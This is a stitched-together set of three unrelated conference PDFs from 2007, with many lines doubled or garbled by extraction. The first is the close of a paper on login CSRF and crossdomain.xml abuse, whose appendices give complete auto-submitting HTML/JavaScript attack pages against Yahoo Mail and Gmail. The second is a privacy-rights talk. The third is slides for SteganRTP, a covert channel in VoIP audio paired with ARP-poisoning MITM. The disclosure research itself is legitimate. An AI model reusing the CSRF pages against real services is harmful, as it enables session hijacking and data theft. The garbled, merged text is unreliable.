permitted. It seems that Adobe / Macromedia did not foresee the possibility that popular
web servers would allow their users to “upload” their own Cross Domain policy files.
The issue is further exacerbated by the fact the Cross Domain policy file can now (as of
Flash player 7.0.19.0) be loaded from non default locations.
2. Forcing Ownership of the CrossDomain.xml File
Using the techniques similar to the ones shown above, forcing ownership of the
crossdomain.xml file is simple. The attacker simply uploads the crossdomain.xml file to
the affected web server, forces the victim to authenticate the to the web server (CSRF)
using the “throw away” account, and feeds the appropriate location to the Flash player for
the crossdomain.xml file (which is now stored on the target server). Once the Flash
player finds the crossdomain.xml file on the vulnerable server, it is permitted to make
cross domain request to that server. The steps needed to execute this attack are described
below.
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
18
First, the attacker logs into the web mail server with the throwaway account (in this case
Gmail). The attacker notes the exact HTTP POST request needed to authenticate to the
web mail server. . In this example, we select the “remember me” option to create a
persistent cookie, which also ensures the Flash player will include the appropriate session
cookies when the request for the policy file is made. The attacker then uploads the
crossdomain.xml file to the affected web server. Our crossdomain.xml looks like this:
The attacker notes the exact HTTP GET request needed to download the file by right
clicking the filename hyperlink and noting the HTTP GET request. The attacker then
creates a page that will perform a CSRF to the web mail server, passing the credentials
for the throw away account to Gmail, forcing the user’s browser to authenticate to the
server. Once the CSRF is complete, and the attacker has forced an authenticated session
with Gmail, the attacker loads the Flash object, using the loadPolicyFile() function to
retrieve the attacker uploaded cross domain policy file. The screenshot below shows how
the loadPolicyFile() is used within ActionScript in a Flash object.
The Flash object uses the browser session cookies and completes the request for the
attacker supplied crossdomain.xml file, giving the Flash object permission to access the
mail.google.com domain!
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
19
Chapter 5 – Conclusion
Although the presented examples focused on web mail applications, many other web
applications exhibit the same vulnerable characteristics. The authors stress that ANY
application that accepts files from “anonymous” users must take EXTREME caution as to
how it serves those files and how user authentication is accomplished. This includes
images, avatars, spreadsheets, and simple text files. Despite the advances in browser and
web application security, it seems that the fundamental concepts of web application
authentication and file attachment have remained stagnant. The attack methods
demonstrated in this paper are extremely simple, and the counter measures are simple as
well. Developers should consider implementing CSRF protections for login
functionality. Although this paper did not detail the necessary steps, nonce values
contained in the login page HTML cannot be used, as they can be bypassed in more
advanced types of attacks. Captchas may become a necessary evil for login pages.
CSRF protection measures should be implemented for file download functionality.
Additionally, developers must exercise extreme caution when taking ownership of an
external entities content / files. When possible, this content should not be served from
domain names that users (or applications) consider trustworthy. Applications serving
user controllable content/files and applications providing critical user functionality
should not share domain names. Lastly, developers must exercise extreme caution when
designing applications that blindly trust domain names or content from external domains.
Trust is a delicate matter on the WWW. Attacks like the ones presented in this paper
undermine trust at the user and application level. Simple fixes can help restore some of
this trust, but constant diligence is required. The criteria for establishing trust on the
WWW is limited, so we place our trust in what we can see… but we should never trust
completely….
BK
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
20
References
Flash Player 8 Security Whitepaper – Adrian Ludwig
http://www.macromedia.com/devnet/flashplayer/articles/flash_player_8_security.pdf
Kicking Down the Cross Domain Door – Billy Rios & Raghav Dube
http://media.blackhat.com/presentations/bh-europe-07/Dube-Rios/Whitepaper/bh-eu-07-
rios-WP.pdf
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
21
Appendix A – Biting Yahoo HTML – FireFox
<html>
<body>
<form name="myform" target="new_window" METHOD=post
action="https://login.yahoo.com/config/login?">
<input type='hidden' name='.done' value='http://mail.yahoo.com'>
<input type='hidden' name='login' value='TEMP ACCOUNT USERNAME'>
<input type='hidden' name='passwd' value=' TEMP ACCOUNT PASSWORD'>
<input type='hidden' name='.save' value='Sign+In'>
</form>
<form name="myform2" target="test"
action="http://f574.mail.yahoo.com/ym/ShowLetter/?">
<input type='hidden' name='box' value='Inbox'>
<input type='hidden' name='MsgId' value='VARIES / MAIL ACCOUNT'>
<input type='hidden' name='bodyPart' value='2'>
<input type='hidden' name='filename' value=''>
<input type='hidden' name='tnef' value=''>
<input type='hidden' name='download' value='1'>
<input type='hidden' name='YY' value=' VARIES / MAIL ACCOUNT '>
<input type='hidden' name='y5beta' value='yes'>
<input type='hidden' name='y5beta' value='yes'>
<input type='hidden' name='order' value='down'>
<input type='hidden' name='sort' value='date'>
<input type='hidden' name='pos' value='0'>
<input type='hidden' name='view' value='a'>
<input type='hidden' name='head' value='b'>
<input type='hidden' name='Idx' value='0'>
</form>
<SCRIPT language="JavaScript">
pretty_window = null;
openNewWindow();
setTimeout('submitform()',1000);
setTimeout('submitform2()', 5000);
setTimeout('new_window.close()',10000);
function submitform()
{
document.myform.submit();
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
22
}
function openNewWindow()
{
new_window =
window.open('','new_window','location=1,status=1,scrollbars=1,width=100,height=100');
return true;
}
function submitform2()
{
document.myform2.submit();
}
</SCRIPT>
</body>
</html>
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
23
Appendix B – Biting Gmail HTML – FireFox
<html>
<body>
<form name="myform" target="myIframe" METHOD=post
action="https://www.google.com/accounts/ServiceLoginAuth?service=mail">
<input type='hidden' name='Email' value='TEMP USERNAME'>
<input type='hidden' name='Passwd' value='TEMP PASSWORD'>
<input type='hidden' name='signIn' value='Sign+in'>
<input type='hidden' name='ltmpl' value='default'>
<input type='hidden' name='ltmplcache' value='2'>
<input type='hidden' name='continue' value='http://mail.google.com/mail/?'>
<input type='hidden' name='service' value='mail'>
<input type='hidden' name='rm' value='false'>
<input type='hidden' name='rmShown' value='1'>
</form>
<form name="myform2" target="myIframe" action="http://mail.google.com/mail/">
<input type='hidden' name='ik' value='VALUE VARIES'>
<input type='hidden' name='attid' value='0.1'>
<input type='hidden' name='disp' value='inline'>
<input type='hidden' name='view' value='att'>
<input type='hidden' name='th' value='VALUE VARIES'>
</form>
<iframe src ='' name='myIframe' id='myIframe' height=0 width=0></iframe>
<a href = "javascript:biteGmail()"> Bite Gmail </a>
<SCRIPT language="JavaScript">
function biteGmail(){
setTimeout('submitform()',1000);
setTimeout('submitform2()', 5000);
setTimeout('pretty_window.close()',30000);
}
function submitform()
{
document.myform.submit();
}
function submitform2()
{
document.myform2.submit();
Biting the Hand That Feeds You
2007
Biting the Hand That Feeds You
24
}
</SCRIPT>
</body>
</html> | pdf |
Hacking Data Retention
Small Sister your Digital Privacy Self Defense
([email protected])
Brenno de Winter, wgasa
• From the Netherlands
• Self proclaimed geek
• First program at age 5
• Focus on security, privacy
• Writing, training, consulting
• Wanna know more? Beer makes me talk!
Privacy and anonimity are
needed to safeguard
free speech
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Program
•The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Defcon 2007
Thou shall not
like Segway’s
I got arrested for photographing
a railway working on a Segway
Cool guy!
Inflation of civil rights
• Cartoons taken offline without
judge’s order
• Cartonist jailed without a need
• Photographers hindered in
public space
• Laptop searches at the border
• Policing websites for forbidden
statements
• Demanding IP-address for
writing ticket
Monitoring in the
Netherlands
• Massive use of CCTV
• Public Transportation Card stores trips for
seven years
• System for paying road tax will photograph
license plates on many locations
• Anti-childporn “firewall” routes to police
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Privacy & Anonimity
• Privacy: the level of control over your
information
• Anonimity: Doing something without the
other knowing your identity
EU’s Data Retention
• Directive
• Finding out who’s talking to whom
• Who’s e-mailing whom
• Who owns which IP and which phone#
• Use to prevent crime
• Determining groups of people
Issue for
• Journalists with whistle blowers
• Anonymous tipping to police
• Lawyers, doctors, priests, etc.
• Political activists
Other issues
• Most people don’t care, until ....
• Most PET’s are user-unfriendly
• Many people are unaware
• Few users make solutions less effective
• Border searches for user data
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Small Sister
• Open Source Project that:
• Doesn’t reinvent the wheel
• Contributes to other projects
• Aim at larger userbase
• Delivers working/easy to use tools
• Does marketing as well as coding
The tool
• Communication to begin with
• E-mail
• Chat
• Seamless integration with existing tools
• Good user-experience on dealing with
contacts
Reusing what’s there
• Use existing networks for privacy and
storage
• Encrypt using OpenPGP
• Enable storage in the cloud
• cross computer usage
• no local storage when nescessary
Details during
presentation
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Getting around
data retention
• Not so effective:
• Using WLAN’s
• Prepaid GSM
• SSH/Crypted tunnels to non-EU servers
• Closed service (club)
• Networks like Tor, OFF and Freenet
The obvious
• I’ve got nothing to hide?
• Really?
• From whom?
• Don’t you trust your government?
• Do I trust the government in 2013
• Why do you hide your online actions?
• I’m not hiding, I’m protecting my data
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense | pdf |
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Real-time Steganography
Real-time Steganography
with RTP
with RTP
I)ruid
I)ruid
<[email protected]>
<[email protected]>
http://druid.caughq.org
http://druid.caughq.org
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Who am I?
Who am I?
Founder, Computer Academic Underground (CAU)
Founder, Computer Academic Underground (CAU)
Co-Founder, Austin Hackers Association (AHA!)
Co-Founder, Austin Hackers Association (AHA!)
Employed by TippingPoint DVLabs performing VoIP security
Employed by TippingPoint DVLabs performing VoIP security
research
research
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Overview
Overview
VoIP, RTP, and Audio Steganography
VoIP, RTP, and Audio Steganography
Previous Research
Previous Research
Real-Time Steganography
Real-Time Steganography
Using steganography with RTP
Using steganography with RTP
Problems and Challenges
Problems and Challenges
SteganRTP
SteganRTP
About, Goals, Etc.
About, Goals, Etc.
Architecture, Operational Flow
Architecture, Operational Flow
Message Structures
Message Structures
Functional Subsystems
Functional Subsystems
Challenges Met
Challenges Met
Live Demo
Live Demo
Conclusions, Future Work
Conclusions, Future Work
Q&A
Q&A
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
VoIP? RTP?
VoIP? RTP?
Voice over IP
Voice over IP
Internet Telephony
Internet Telephony
Real-time Transport Protocol
Real-time Transport Protocol
Used by most VoIP systems to transmit call audio data
Used by most VoIP systems to transmit call audio data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Audio Steganography
Audio Steganography
In 6 slides or less...
In 6 slides or less...
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Steganography?
Steganography?
Steganos (covered) graphein (writing)
Steganos (covered) graphein (writing)
Hiding a secret message within a cover-
Hiding a secret message within a cover-
medium in such a way that others can not
medium in such a way that others can not
discern the presence of the hidden
discern the presence of the hidden
message
message
Hiding one piece of data within another
Hiding one piece of data within another
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Steganography Terms
Steganography Terms
Message
Message – The data to be hidden or extracted
– The data to be hidden or extracted
Cover-Medium
Cover-Medium – The medium in which information
– The medium in which information
is to be
is to be hidden. Also sometimes called “cover-
hidden. Also sometimes called “cover-
image/data/etc.”
image/data/etc.”
Stego-Medium
Stego-Medium – A medium within which
– A medium within which
information
information isis hidden
hidden
Redundant Bits
Redundant Bits – Bits of data in a cover-medium
– Bits of data in a cover-medium
that can be modified without compromising that
that can be modified without compromising that
medium’s perceptible integrity
medium’s perceptible integrity
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Types of Covert Channels
Types of Covert Channels
Storage-based
Storage-based
Persistent
Persistent
Embedding message data into a static cover-medium
Embedding message data into a static cover-medium
Extracting message data from a static stego-medium
Extracting message data from a static stego-medium
Timing-based
Timing-based
Transient
Transient
Signals message data by modulating behavior
Signals message data by modulating behavior
Extracts message data by observing effects of
Extracts message data by observing effects of
modulation
modulation
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Digitally Embedding
Digitally Embedding
Digitally embedding a message in a cover-
Digitally embedding a message in a cover-
medium usually involves two steps:
medium usually involves two steps:
Identify the redundant bits of a cover-medium
Identify the redundant bits of a cover-medium
Deciding which redundant bits to use and then
Deciding which redundant bits to use and then
modifying them
modifying them
Generally, redundant bits are likely to be
Generally, redundant bits are likely to be
the least-significant bit(s) of each data
the least-significant bit(s) of each data
word value of the cover-medium
word value of the cover-medium
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Digitally Embedding in Audio
Digitally Embedding in Audio
Audio is a very inaccurate type of data
Audio is a very inaccurate type of data
Slight changes will be indistinguishable
Slight changes will be indistinguishable
from the original to the human ear
from the original to the human ear
In Audio, you can use the least-significant
In Audio, you can use the least-significant
bits of each word value as redundant bits
bits of each word value as redundant bits
Use the redundant bits to minimize the
Use the redundant bits to minimize the
impact of changes
impact of changes
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Example: 8-bit Audio Embedding
Example: 8-bit Audio Embedding
Let’s assume an 8-bit cover-audio file has the
Let’s assume an 8-bit cover-audio file has the
following 8 bytes of data in it:
following 8 bytes of data in it:
0xb4, 0xe5, 0x8b, 0xac, 0xd1, 0x97, 0x15, 0x68
0xb4, 0xe5, 0x8b, 0xac, 0xd1, 0x97, 0x15, 0x68
In binary:
In binary:
1011010
101101000-1110010
-111001011-1000101
-100010111-1010110
-101011000
1101000
110100011-1001011
-100101111-0001010
-000101011-0110100
-011010000
We wanted to hide the byte value ‘214’ (11010110),
We wanted to hide the byte value ‘214’ (11010110),
we replace the least significant bit from each byte
we replace the least significant bit from each byte
to hide our message byte:
to hide our message byte:
1011010
101101011-1110010
-111001011-1000101
-10001010-
0-1010110
101011011
1101000
110100000-1001011
-100101111-0001010
-000101011-0110100
-011010000
The modifications result in the following:
The modifications result in the following:
Original:
Original:
0xb4, 0xe5, 0x8b, 0xac, 0xd1, 0x97, 0x15, 0x68
0xb4, 0xe5, 0x8b, 0xac, 0xd1, 0x97, 0x15, 0x68
Modified:
Modified:
0xb5, 0xe5, 0x8a, 0xad, 0xd0, 0x97, 0x15, 0x68
0xb5, 0xe5, 0x8a, 0xad, 0xd0, 0x97, 0x15, 0x68
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Previous Research
Previous Research
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Audio Steganography
Audio Steganography
Data Stash: MP3 files
Data Stash: MP3 files
http://www.skyjuicesoftware.com/software/ds_info.html
http://www.skyjuicesoftware.com/software/ds_info.html
Hide4PGP: WAV and VOC files
Hide4PGP: WAV and VOC files
http://www.heinz-repp.onlinehome.de/Hide4PGP.htm
http://www.heinz-repp.onlinehome.de/Hide4PGP.htm
InvisibleSecrets: WAV files
InvisibleSecrets: WAV files
http://www.invisiblesecrets.com/
http://www.invisiblesecrets.com/
MP3Stego: MP3 files
MP3Stego: MP3 files
http://www.petitcolas.net/fabien/steganography/mp3stego/
http://www.petitcolas.net/fabien/steganography/mp3stego/
ScramDisk: WAV files
ScramDisk: WAV files
http://www.scramdisk.clara.net/
http://www.scramdisk.clara.net/
S-Tools 4: Embedding into a WAV file
S-Tools 4: Embedding into a WAV file
ftp://ftp.funet.fi/pub/crypt/mirrors/idea.sec.dsi.unimi.it/code/s-tools4.zip
ftp://ftp.funet.fi/pub/crypt/mirrors/idea.sec.dsi.unimi.it/code/s-tools4.zip
Steganos: WAV and VOC files
Steganos: WAV and VOC files
ftp://ftp.hacktic.nl/pub/crypto/steganographic/steganos3r5.zip
ftp://ftp.hacktic.nl/pub/crypto/steganographic/steganos3r5.zip
StegHide: WAV and AU files
StegHide: WAV and AU files
http://steghide.sourceforge.net/
http://steghide.sourceforge.net/
StegMark: MIDI, WAV, AVI, MPEG
StegMark: MIDI, WAV, AVI, MPEG
http://www.datamark.com.sg/onlinedemo/stegmark/
http://www.datamark.com.sg/onlinedemo/stegmark/
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
VoIP Steganography
VoIP Steganography
A few previous research efforts
A few previous research efforts
Uses of “steganography”:
Uses of “steganography”:
Using redundant bits to widen RTP audio band
Using redundant bits to widen RTP audio band
Using redundant bits for error correction
Using redundant bits for error correction
Replacing RTCP
Replacing RTCP
Watermarking audio for integrity checking
Watermarking audio for integrity checking
Deficiencies:
Deficiencies:
Some are just “theory” papers, don’t explain how they intend to
Some are just “theory” papers, don’t explain how they intend to
accomplish certain tasks
accomplish certain tasks
Don’t achieve the primary goal of steganography:
Don’t achieve the primary goal of steganography:
Use of steganographic techniques easily identifiable by an observer
Use of steganographic techniques easily identifiable by an observer
Message data is trivially recognized and extracted from stego-medium
Message data is trivially recognized and extracted from stego-medium
Only one public PoC; no full implementations
Only one public PoC; no full implementations
Analysis paper forthcoming
Analysis paper forthcoming
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Real-time Steganography
Real-time Steganography
Or, utilizing steganographic
Or, utilizing steganographic
techniques with an active network
techniques with an active network
communications channel
communications channel
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Context Terminology
Context Terminology
Packet
Packet - A network data packet
- A network data packet
Message
Message - Data being embedded or
- Data being embedded or
extracted via steganographic techniques
extracted via steganographic techniques
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
““Real-time” Steganography?
Real-time” Steganography?
Separate “hide” and “retrieve” modes are
Separate “hide” and “retrieve” modes are
common in storage-based steganography
common in storage-based steganography
implementations
implementations
Common cover-mediums are static or
Common cover-mediums are static or
unidirectional
unidirectional
What about Vo
What about Vo22IP?
IP?
Utilizing steganography with RTP provides
Utilizing steganography with RTP provides
the opportunity to establish an active, or
the opportunity to establish an active, or
“real-time” covert communications channel
“real-time” covert communications channel
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
RTP’s Redundant Bits
RTP’s Redundant Bits
RTP packet payloads are encoded multimedia
RTP packet payloads are encoded multimedia
I’ll be focusing on RTP audio
I’ll be focusing on RTP audio
RTP supports many different audio Codecs
RTP supports many different audio Codecs
RTP’s redundant bits are determined by the codec
RTP’s redundant bits are determined by the codec
used
used
8-bit sample size Codecs are generally resilient to
8-bit sample size Codecs are generally resilient to
changes of the LSB for each sample
changes of the LSB for each sample
Larger sample size Codecs may provide for one or
Larger sample size Codecs may provide for one or
more LSBs to be modified per sample
more LSBs to be modified per sample
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Audio Codec Word Sizes
Audio Codec Word Sizes
G.711 alaw: 8-bit word size
G.711 alaw: 8-bit word size
G.711 ulaw: 8-bit word size
G.711 ulaw: 8-bit word size
Speex: dynamic, variable word size
Speex: dynamic, variable word size
iLBC: class-based bit distribution
iLBC: class-based bit distribution
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Throughput
Throughput
G.711 (ulaw/alaw):
G.711 (ulaw/alaw):
160 byte RTP payload
160 byte RTP payload
8-bit sample word size
8-bit sample word size
Utilizing 1 bit per sample word
Utilizing 1 bit per sample word
8 words needed per byte of message data
8 words needed per byte of message data
~50 packets/sec unidirectional
~50 packets/sec unidirectional
(160/8)*50 == 1,000 bytes/sec
(160/8)*50 == 1,000 bytes/sec
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Problems and Challenges
Problems and Challenges
Trying to use steganography
Trying to use steganography
with RTP
with RTP
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Unreliable Transport
Unreliable Transport
Problems:
Problems:
RTP uses UDP as it’s transport protocol
RTP uses UDP as it’s transport protocol
UDP is connectionless and unreliable
UDP is connectionless and unreliable
Challenges:
Challenges:
Data split across multiple packets may arrive out of
Data split across multiple packets may arrive out of
order
order
One or more parts of data split across multiple packets
One or more parts of data split across multiple packets
may not arrive at all
may not arrive at all
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Cover-Medium Size Limitations
Cover-Medium Size Limitations
Problems:
Problems:
Individual RTP packets don’t provide much space for
Individual RTP packets don’t provide much space for
embedding message data
embedding message data
Different audio Codecs use different audio word sizes
Different audio Codecs use different audio word sizes
Challenges:
Challenges:
Large message data will likely be split across multiple
Large message data will likely be split across multiple
packets and will need to be reassembled
packets and will need to be reassembled
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Latency
Latency
Problems:
Problems:
RTP is extremely sensitive to network latency and other
RTP is extremely sensitive to network latency and other
QoS issues
QoS issues
Challenges:
Challenges:
Overall system must not interfere too much with RTP
Overall system must not interfere too much with RTP
packet routing
packet routing
Use of steganography cannot delay any individual RTP
Use of steganography cannot delay any individual RTP
packet for too long
packet for too long
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
RTP Streams
RTP Streams
Problems:
Problems:
RTP employs two separate half-duplex packet streams
RTP employs two separate half-duplex packet streams
to achieve full-duplex communication
to achieve full-duplex communication
Challenges:
Challenges:
Both RTP streams must be correlated and tracked for
Both RTP streams must be correlated and tracked for
an individual session
an individual session
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Compressed Audio
Compressed Audio
Problems:
Problems:
Audio being transferred by RTP may be compressed
Audio being transferred by RTP may be compressed
Challenges:
Challenges:
Identification of compressed audio
Identification of compressed audio
Packets containing compressed audio must either
Packets containing compressed audio must either
Not be used
Not be used
Be decompressed, modified, and then recompressed in order
Be decompressed, modified, and then recompressed in order
to embed message data
to embed message data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Media Gateway Audio Modifications
Media Gateway Audio Modifications
Problems:
Problems:
Intermediary media gateways may re-encode audio,
Intermediary media gateways may re-encode audio,
change the codec entirely, or otherwise modify the RTP
change the codec entirely, or otherwise modify the RTP
audio payload
audio payload
Challenges:
Challenges:
Identification of intermediary media gateway
Identification of intermediary media gateway
interference
interference
Overcome the particular type of interference
Overcome the particular type of interference
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Audio Codec Switching
Audio Codec Switching
Problems:
Problems:
Endpoints may switch audio Codecs mid-session
Endpoints may switch audio Codecs mid-session
Challenges:
Challenges:
Identifying a change in audio codec
Identifying a change in audio codec
Creating an adaptable steganographic embedding
Creating an adaptable steganographic embedding
method
method
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
SteganRTP
SteganRTP
My reference implementation.
My reference implementation.
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
About SteganRTP
About SteganRTP
Most awesome tool name I’ve ever created
Most awesome tool name I’ve ever created
Linux application
Linux application
Windowed curses interface
Windowed curses interface
Must be able to modify the outbound RTP
Must be able to modify the outbound RTP
stream’s packets
stream’s packets
Must be able to observe the inbound RTP
Must be able to observe the inbound RTP
stream’s packets
stream’s packets
Pair with ARP poisoning for active MITM
Pair with ARP poisoning for active MITM
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Goals
Goals
Steganography: Hide the fact that covert
Steganography: Hide the fact that covert
communication is taking place
communication is taking place
Full-Duplex Communications Channel
Full-Duplex Communications Channel
Compensate for unreliable transport
Compensate for unreliable transport
Transparent operation whether hooking
Transparent operation whether hooking
locally generated/destined packets vs.
locally generated/destined packets vs.
forwarded packets
forwarded packets
Simultaneous transfer of multiple types of
Simultaneous transfer of multiple types of
data
data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Architecture: Endpoint
Architecture: Endpoint
Endpoint A
SteganRTP A
SteganRTP B
RTP
RTP
RTP
RTP
Endpoint B
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Architecture: MITM
Architecture: MITM
Endpoint A
SteganRTP A
SteganRTP B
RTP
RTP
RTP
RTP
Endpoint B
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Process Flow
Process Flow
Initialize
Identify RTP
Session
Hook Packets
Read Packet
Inbound
or
Outbound
Send Packet
Extract Data
Decrypt Data
Read Data
Valid
Checksum?
Waiting
Outbound
Data?
Create Steg
Message
Encrypt Data
Embed Data
Send Packet
Packet Handler
Timeout?
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Identify RTP Session
Identify RTP Session
Using libfindrtp, one of my previous
Using libfindrtp, one of my previous
projects
projects
Identifies RTP sessions between two
Identifies RTP sessions between two
endpoints
endpoints
Identifies RTP during call setup by
Identifies RTP during call setup by
observing VoIP signaling traffic
observing VoIP signaling traffic
Supports RTP session identification via
Supports RTP session identification via
SIP and Skinny signaling protocols
SIP and Skinny signaling protocols
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Hooking Packets
Hooking Packets
Linux NetFilter Hook Points
Linux NetFilter Hook Points
Basically, an iptables rule with target QUEUE
Basically, an iptables rule with target QUEUE
NetFilter User-space Queuing Agent
NetFilter User-space Queuing Agent
API for reading, writing, or passing packets destined for
API for reading, writing, or passing packets destined for
the QUEUE target
the QUEUE target
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Linux NetFilter Hook Points
Linux NetFilter Hook Points
Anywhere you can insert an iptables rule:
Anywhere you can insert an iptables rule:
Locally Originated or Destined:
Locally Originated or Destined:
INPUT
INPUT
OUTPUT
OUTPUT
Packet Forwarding:
Packet Forwarding:
FORWARD
FORWARD
DNAT, SNAT, etc:
DNAT, SNAT, etc:
PREROUTING
PREROUTING
POSTROUTING
POSTROUTING
PRE-
ROUTING
FORWARD
POST-
ROUTING
Routing
Routing
OUTPUT
INPUT
Local Processes
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Hooking Packets
Hooking Packets
SteganRTP registers itself as a user-space
SteganRTP registers itself as a user-space
queuing agent for NetFilter via libipq
queuing agent for NetFilter via libipq
SteganRTP creates two rules in the NetFilter
SteganRTP creates two rules in the NetFilter
engine with targets of QUEUE:
engine with targets of QUEUE:
Matching the Inbound RTP stream at PREROUTING
Matching the Inbound RTP stream at PREROUTING
Matching the Outbound RTP stream at POSTROUTING
Matching the Outbound RTP stream at POSTROUTING
SteganRTP is then able to:
SteganRTP is then able to:
Read packets from the queue
Read packets from the queue
Modify them if needed
Modify them if needed
Place them back into the queue
Place them back into the queue
Tell the queue to accept the packet for further routing
Tell the queue to accept the packet for further routing
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Inbound Packets
Inbound Packets
Immediately accept the packet for routing
Immediately accept the packet for routing
Extract the message
Extract the message
Decrypt the message
Decrypt the message
Verify message’s checksum
Verify message’s checksum
Send message to the message handler
Send message to the message handler
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Outbound Packets
Outbound Packets
Poll for data waiting to go out
Poll for data waiting to go out
If there isn’t any, immediately forward the RTP packet
If there isn’t any, immediately forward the RTP packet
unmodified
unmodified
Create a new message with header based on
Create a new message with header based on
properties of the RTP packet
properties of the RTP packet
Read as much of the waiting data as will fit in the
Read as much of the waiting data as will fit in the
message
message
Encrypt the message
Encrypt the message
Embed the message into the RTP payload cover-
Embed the message into the RTP payload cover-
medium
medium
Send the RTP packet
Send the RTP packet
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Session Timeout
Session Timeout
If no RTP packets are seen for the timeout
If no RTP packets are seen for the timeout
period, all session information is dropped
period, all session information is dropped
Control returns to libfindrtp, which
Control returns to libfindrtp, which
searches for a new session
searches for a new session
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Message Handler
Message Handler
Receives all valid incoming messages
Receives all valid incoming messages
Performs internal state changes and administrative
Performs internal state changes and administrative
tasks in response to control messages such as:
tasks in response to control messages such as:
Echo Request
Echo Request
Echo Reply
Echo Reply
Resend of lost messages
Resend of lost messages
Prep for receiving a file
Prep for receiving a file
Closing a finished file
Closing a finished file
Receives incoming user chat data
Receives incoming user chat data
Receives incoming file data
Receives incoming file data
Receives incoming shell data
Receives incoming shell data
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
Packets and Messages
Packets and Messages
Yay bits!
Yay bits!
© 2007 Computer Academic Underground
© 2007 Computer Academic Underground
RTP Packet Format
RTP Packet Format
RTP Header:
RTP Header:
0 1 2 3
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V=2|P|X| CC |M|
|V=2|P|X| CC |M| PT
PT |
| sequence number
sequence number |
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
| timestamp
timestamp |
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| synchronization source (SSRC) identifier |
| synchronization source (SSRC) identifier |
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
| contributing source (CSRC) identifiers |
| contributing source (CSRC) identifiers |
| .... |
| .... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
RTP Payload:
RTP Payload:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
!
! Encoded Audio Data
